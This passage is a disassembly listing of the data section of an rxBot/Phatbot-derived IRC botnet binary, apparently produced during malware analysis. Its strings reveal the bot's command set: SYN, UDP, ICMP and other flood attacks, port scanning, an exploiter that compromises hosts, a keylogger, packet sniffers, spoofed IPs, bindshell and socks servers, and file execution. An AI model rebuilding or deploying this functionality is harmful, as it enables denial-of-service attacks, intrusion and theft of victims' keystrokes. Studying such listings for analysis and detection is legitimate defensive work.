DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F90o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 10h aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 10h aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB0C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB48 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 10h unk_42AB90 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 10h aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C48o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 10h aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o ; ___:00437C00o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 10h aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C58o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD20 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD3C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD88 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 10h unk_42ADB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h unk_42ADD0 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 10h aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 4 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AEA0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AEDC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 10h dword_42AF00 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 10h dword_42AF20 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF4C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF98 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42AFF0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B024 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B050 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B078 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E8 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B124 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B154 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B17C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B1E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42B220 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42B250 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C4Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 10h aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 10h aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 10h aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 10h aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C34o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C54o unicode 0, <n>,0 unk_42B350 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3B0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C8 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3E0 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B428 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B450 dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B454 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B460 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B468 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 10h aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 10h aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D8 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4EC dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4F0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B500 dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B504 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B508 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 10h unk_42B570 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42B5B0 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E8 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42B614 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 4 unk_42B654 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B690 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6BC db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E8 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42B7E4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B818 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B858 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42B884 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42B8C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B904 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B914 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B924 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B958 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A8 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42B9D4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9EC db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA28 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA48 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA4C dd 234032Dh, 